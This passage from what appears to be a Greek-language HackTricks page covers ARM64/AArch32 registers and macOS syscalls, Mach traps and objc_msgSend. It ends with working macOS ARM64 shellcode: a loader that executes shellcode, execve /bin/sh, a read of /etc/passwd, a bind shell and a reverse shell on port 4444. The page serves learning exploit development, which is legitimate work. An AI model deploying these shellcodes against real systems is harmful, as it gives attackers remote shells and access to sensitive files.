Σημειώστε ότι η μετάβαση από 64-bit σε 32-bit συμβαίνει με χαμηλότερο επίπεδο εξαίρεσης (για παράδειγμα ένα πρόγραμμα 64-bit σε EL1 που ενεργοποιεί ένα πρόγραμμα σε EL0). Αυτό γίνεται ρυθμίζοντας το bit 4 του ειδικού καταχωρητή SPSR_ELx στο 1 όταν το νήμα διεργασίας AArch32 είναι έτοιμο για εκτέλεση και το υπόλοιπο του SPSR_ELx αποθηκεύει το CPSR των προγραμμάτων AArch32. Στη συνέχεια, η διαδικασία με προνόμια καλεί την εντολή ERET ώστε ο επεξεργαστής να μεταβεί σε AArch32 εισερχόμενος σε A32 ή T32 ανάλογα με το CPSR.
Το interworking γίνεται χρησιμοποιώντας τα bit J και T του CPSR. J=0 και T=0 σημαίνει A32 και J=0 και T=1 σημαίνει T32. Αυτό ουσιαστικά σημαίνει τη ρύθμιση του χαμηλότερου bit στο 1 για να υποδειχθεί ότι το σύνολο εντολών είναι T32.
Αυτό ρυθμίζεται κατά τις interworking branch instructions, αλλά μπορεί επίσης να ρυθμιστεί απευθείας με άλλες εντολές όταν το PC ορίζεται ως ο καταχωρητής προορισμού. Παράδειγμα:
Another example:
_start:
.code 32 ; Begin using A32
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
Registers
Υπάρχουν 16 καταχωρητές 32-bit (r0-r15). Από r0 έως r14 μπορούν να χρησιμοποιηθούν για οποιαδήποτε λειτουργία, ωστόσο κάποιοι συνήθως επιφυλάσσονται:
r15: Program counter (πάντα). Περιέχει τη διεύθυνση της επόμενης εντολής. Στο A32 current + 8, στο T32 current + 4.r11: Frame Pointerr12: Intra-procedural call registerr13: Stack Pointer (Σημείωση: η στοίβα είναι πάντα στοιχισμένη στα 16 bytes)r14: Link Register
Επιπλέον, οι καταχωρητές αντιγράφονται σε banked registries. Πρόκειται για θέσεις που αποθηκεύουν τις τιμές των καταχωρητών επιτρέποντας γρήγορο context switching στην επεξεργασία εξαιρέσεων και σε privileged operations, ώστε να αποφεύγεται η ανάγκη χειροκίνητης αποθήκευσης και επαναφοράς των καταχωρητών κάθε φορά.
Αυτό γίνεται αποθηκεύοντας την κατάσταση του επεξεργαστή από το CPSR στο SPSR της λειτουργίας επεξεργαστή στην οποία λαμβάνεται η εξαίρεση. Κατά την επιστροφή από την εξαίρεση, το CPSR αποκαθίσταται από το SPSR.
CPSR - Καταχωρητής Τρέχουσας Κατάστασης Προγράμματος
Στο AArch32 ο CPSR λειτουργεί παρόμοια με το PSTATE στο AArch64 και αποθηκεύεται επίσης στο SPSR_ELx όταν λαμβάνεται μια εξαίρεση για να αποκατασταθεί αργότερα η εκτέλεση:
.png)
Τα πεδία χωρίζονται σε κάποιες ομάδες:
- Application Program Status Register (APSR): Σημαίες αριθμητικών πράξεων και προσπελάσιμο από EL0
- Execution State Registers: Συμπεριφορά διεργασίας (διαχειρίζεται από το OS).
Καταχωρητής Κατάστασης Εφαρμογής (APSR)
- Οι
N,Z,C,Vσημαίες (όπως στο AArch64) - Η
Qσημαία: Θέτεται σε 1 κάθε φορά που συμβαίνει κορεσμός ακεραίων κατά την εκτέλεση μιας ειδικής saturating arithmetic instruction. Μόλις τεθεί σε1, διατηρεί την τιμή μέχρι να μηδενιστεί χειροκίνητα. Επιπλέον, δεν υπάρχει εντολή που να ελέγχει την τιμή της έμμεσα — πρέπει να διαβαστεί χειροκίνητα. GE(Greater than or equal) σημαίες: Χρησιμοποιούνται σε SIMD (Single Instruction, Multiple Data) operations, όπως “parallel add” και “parallel subtract”. Αυτές οι ενέργειες επιτρέπουν την επεξεργασία πολλαπλών δεδομένων σε μία εντολή.
Για παράδειγμα, η εντολή UADD8 προσθέτει τέσσερα ζεύγη bytes (από δύο 32-bit operands) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν 32-bit καταχωρητή. Έπειτα θέτει τις GE σημαίες στο APSR βάσει αυτών των αποτελεσμάτων. Κάθε GE σημαία αντιστοιχεί σε μία από τις προσθήκες byte, υποδεικνύοντας αν η πρόσθεση για εκείνο το ζεύγος byte προκάλεσε υπερχείλιση.
Η εντολή SEL χρησιμοποιεί αυτές τις GE σημαίες για να εκτελέσει υπό όρους ενέργειες.
Καταχωρητές Κατάστασης Εκτέλεσης
- Τα bit
JκαιT: ΤοJπρέπει να είναι 0 και αν τοTείναι 0 χρησιμοποιείται το instruction set A32, ενώ αν είναι 1 χρησιμοποιείται το T32. - IT Block State Register (
ITSTATE): Είναι τα bits 10-15 και 25-26. Αποθηκεύουν συνθήκες για εντολές μέσα σε μια ομάδα με πρόθεμαIT. - Το bit
E: Δηλώνει την διάταξη byte (endianness). - Mode και Exception Mask Bits (0-4): Καθορίζουν την τρέχουσα κατάσταση εκτέλεσης. Το 5ο bit δείχνει αν το πρόγραμμα τρέχει ως 32bit (1) ή 64bit (0). Τα υπόλοιπα 4 αντιπροσωπεύουν τη λειτουργία εξαίρεσης που χρησιμοποιείται (όταν συμβαίνει μια εξαίρεση και αυτή χειρίζεται). Ο αριθμός που είναι ρυθμισμένος υποδεικνύει την τρέχουσα προτεραιότητα σε περίπτωση που ενεργοποιηθεί άλλη εξαίρεση ενώ αυτή επεξεργάζεται.
.png)
AIF: Ορισμένες εξαιρέσεις μπορούν να απενεργοποιηθούν χρησιμοποιώντας τα bitsA,I,F. Αν τοAείναι 1 σημαίνει ότι θα προκληθούν asynchronous aborts. ΤοIρυθμίζει την ανταπόκριση σε εξωτερικά hardware Interrupts Requests (IRQs). ΤοFσχετίζεται με Fast Interrupt Requests (FIRs).
macOS
BSD syscalls
Δείτε syscalls.master ή τρέξτε cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h. Τα BSD syscalls θα έχουν x16 > 0.
Mach Traps
Δείτε στο syscall_sw.c τον mach_trap_table και στο mach_traps.h τα prototypes. Ο μέγιστος αριθμός Mach traps είναι MACH_TRAP_TABLE_COUNT = 128. Οι Mach traps θα έχουν x16 < 0, οπότε πρέπει να καλείτε τους αριθμούς από τη προηγούμενη λίστα με ένα minus: _kernelrpc_mach_vm_allocate_trap είναι -10.
Μπορείτε επίσης να ελέγξετε το libsystem_kernel.dylib σε έναν disassembler για να βρείτε πώς να καλείτε αυτές (και τις BSD) syscalls:
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
Note that Ida and Ghidra can also decompile specific dylibs from the cache just by passing the cache.
Tip
Μερικές φορές είναι πιο εύκολο να ελέγξετε τον decompiled κώδικα από
libsystem_kernel.dylibπαρά να ελέγξετε τον source code, επειδή ο κώδικας πολλών syscalls (BSD και Mach) παράγεται μέσω scripts (δείτε τα σχόλια στο source code), ενώ στο dylib μπορείτε να βρείτε τι καλείται.
machdep calls
XNU υποστηρίζει έναν άλλο τύπο κλήσεων που ονομάζονται machine dependent. Οι αριθμοί αυτών των κλήσεων εξαρτώνται από την αρχιτεκτονική και ούτε οι κλήσεις ούτε οι αριθμοί εγγυώνται ότι θα παραμείνουν σταθεροί.
comm page
Πρόκειται για μια kernel-owned memory page που γίνεται mapping στο address space κάθε διεργασίας χρήστη. Σκοπός της είναι να κάνει τη μετάβαση από το user mode στο kernel space ταχύτερη από τη χρήση syscalls για υπηρεσίες του kernel που χρησιμοποιούνται τόσο συχνά ώστε αυτή η μετάβαση θα ήταν πολύ αναποτελεσματική.
Για παράδειγμα η κλήση gettimeofdate διαβάζει την τιμή του timeval απευθείας από την comm page.
objc_msgSend
Είναι εξαιρετικά συνηθισμένο να βρείτε αυτή τη συνάρτηση να χρησιμοποιείται σε προγράμματα Objective-C ή Swift. Αυτή η συνάρτηση επιτρέπει την κλήση μιας μεθόδου ενός Objective-C αντικειμένου.
Parameters (more info in the docs):
- x0: self -> Δείκτης προς το αντικείμενο
- x1: op -> Selector της μεθόδου
- x2… -> Τα υπόλοιπα ορίσματα της κληθείσας μεθόδου
Άρα, αν βάλετε breakpoint πριν από το branch προς αυτή τη συνάρτηση, μπορείτε εύκολα να βρείτε τι καλείται στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από NSConcreteTask που θα εκτελέσει μια εντολή):
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
Tip
Ορίζοντας τη μεταβλητή περιβάλλοντος
NSObjCMessageLoggingEnabled=1είναι δυνατό να καταγράψετε πότε καλείται αυτή η συνάρτηση σε ένα αρχείο όπως/tmp/msgSends-pid.Επιπλέον, ορίζοντας
OBJC_HELP=1και καλώντας οποιοδήποτε binary μπορείτε να δείτε άλλες μεταβλητές περιβάλλοντος που θα μπορούσατε να χρησιμοποιήσετε για να καταγράψετε πότε συμβαίνουν ορισμένες ενέργειες Objc-C.
Όταν καλείται αυτή η συνάρτηση, χρειάζεται να εντοπιστεί η κληθείσα μέθοδος του υποδεικνυόμενου αντικειμένου — γι’ αυτό γίνονται διάφορες αναζητήσεις:
- Εκτέλεσε optimistic cache lookup:
- Αν επιτύχει, τελείωσε
- Απόκτησε runtimeLock (read)
- Αν (realize && !cls->realized) realize class
- Αν (initialize && !cls->initialized) initialize class
- Δοκίμασε το cache της κλάσης:
- Αν επιτύχει, τελείωσε
- Δοκίμασε τη λίστα μεθόδων της κλάσης:
- Αν βρεθεί, γέμισε το cache και τελείωσε
- Δοκίμασε το cache της υπερκλάσης:
- Αν επιτύχει, τελείωσε
- Δοκίμασε τη λίστα μεθόδων της υπερκλάσης:
- Αν βρεθεί, γέμισε το cache και τελείωσε
- Αν (resolver) δοκίμασε τον method resolver, και επανάλαβε από το class lookup
- Αν εξακολουθεί να βρίσκεται εδώ (= όλα τα υπόλοιπα απέτυχαν), δοκίμασε τον forwarder
Shellcodes
Για να μεταγλωττίσετε:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
Για να εξαγάγετε τα bytes:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
Για νεότερα macOS:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
C code για δοκιμή του shellcode
```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #includeint (*sc)();
char shellcode[] = “
int main(int argc, char **argv) { printf(“[>] Shellcode Length: %zd Bytes\n”, strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) { perror(“mmap”); exit(-1); } printf(“[+] SUCCESS: mmap\n”); printf(“ |-> Return = %p\n“, ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf(“[+] SUCCESS: memcpy\n”); printf(“ |-> Return = %p\n“, dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) { perror(“mprotect”); exit(-1); } printf(“[+] SUCCESS: mprotect\n”); printf(“ |-> Return = %d\n“, status);
printf(“[>] Trying to execute shellcode…\n”);
sc = ptr; sc();
return 0; }
</details>
#### Shell
Λήφθηκε από [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) και εξηγείται.
{{#tabs}}
{{#tab name="with adr"}}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
{{#endtab}}
{{#tab name=“with stack”}}
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
{{#endtab}}
{{#tab name=“with adr for linux”}}
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
{{#endtab}} {{#endtabs}}
Ανάγνωση με cat
Ο στόχος είναι να εκτελεστεί execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), οπότε το δεύτερο όρισμα (x1) είναι ένας πίνακας παραμέτρων (που στη μνήμη αυτό σημαίνει μια στοίβα διευθύνσεων).
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
Εκτέλεση εντολής με sh από fork ώστε η κύρια διεργασία να μην τερματιστεί
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
Bind shell
Bind shell από https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s σε port 4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Reverse shell
Από https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell σε 127.0.0.1:4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks

